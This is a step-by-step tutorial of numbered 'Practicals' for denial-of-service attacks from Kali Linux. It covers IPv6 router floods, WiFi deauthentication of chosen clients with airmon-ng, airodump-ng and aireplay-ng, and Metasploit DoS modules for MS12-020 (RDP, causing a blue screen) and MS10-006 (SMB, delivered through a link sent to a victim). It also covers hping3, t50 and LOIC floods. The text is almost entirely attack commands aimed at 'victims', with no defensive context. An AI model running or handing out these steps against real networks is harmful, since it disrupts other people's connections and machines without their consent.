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Practical No 1: Dossing the network using ipv6 floods

Step 1: open a blank terminal and type ifconfig to find out your interface name

Step 2: execute the following command to start flooding

For kali 2.0 below:

flood_router6 eth0

For kali 2.0 onwards:

atk6-flood_router6 eth0

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Meanwhile for the effected victim when he types ifconfig or ipconfig he will see output like this

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Practical No 2: Dossing the wifi network using aireplay deauth packets

Requirements Kali linux latest version (not virtualbox kali) and wifi connection

Step 1: open a blank terminal and type iwconfig to find out your wifi interface name

Probably it would be wlan0 like that.

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Step 2: enabling monitor mode, execute the following code

airmon-ng start <wifi interfacename>

airmon-ng start wlan0

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this will turn your wifi interface name into wlan0mon like name

Step 3: looking for target APs

airodump-ng wlan0mon

this will show you the available wifi networks around you please note down the BSSID (MAC) and
channel and essid.

Step 4: looking for target clients

airodump-ng --bssid <TARGET AP MAC> --channel <channel no of target> <wifi monitormode interface>

airodump-ng --bssid 1a:1a:1b:54:ed:8c --channel 7 wlan0mon

from the above command you will get output like station mac note down those mac addresses to dos on
them

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Step 5: Dossing on station macs

aireplay-ng -0 0 –a <target AP mac> -c <target client or station MAC> <wifi monitormode interface>

you can see the difference in the wifi devices connection.

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Practical No 3: RDP dos on windows 7 and server 2008 machines using msfconsole

Step 1: service postgresql start

Step 2: msfconsole

Step 3: search ms12_020

Step 4: use <exploit code>

Step 5: show options

Step 5: set RHOST <target ip>

Step 6: run

You can see the vulnerable target having a bluescreen of death.

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Practical No 4: SMB dos on windows machines using msfconsole

Step 1: service postgresql start

Step 2: msfconsole

Step 3: search ms10_006

Or search negotiate_response

Step 4: use <exploit code>

Step 5: show options

Step 6: set SRVHOST <Attacker IP>

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Step 7: show options

Step 8: run

Give \\AttackerIP\Shared\Anything link to victim he will be frozen.

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Ex: \\192.168.0.100\Shared\Anything

Practical No 5: Using Hping3 to flood on target

hping3 <TARGET IP> --flood

Practical No 6: Using t50 to flood on target

t50 <TARGET IP> --flood

You can see the attack impacts of the above attacks in the below images,

Before Attack

During Attack

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After Stopping Attack

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Practical No 7: Using LOIC Tool to Attack on Target

After clicking on IMMA CHARGIN MAH LAZER you can see the following picture of flooding

Click on stop flooding to stop attack.

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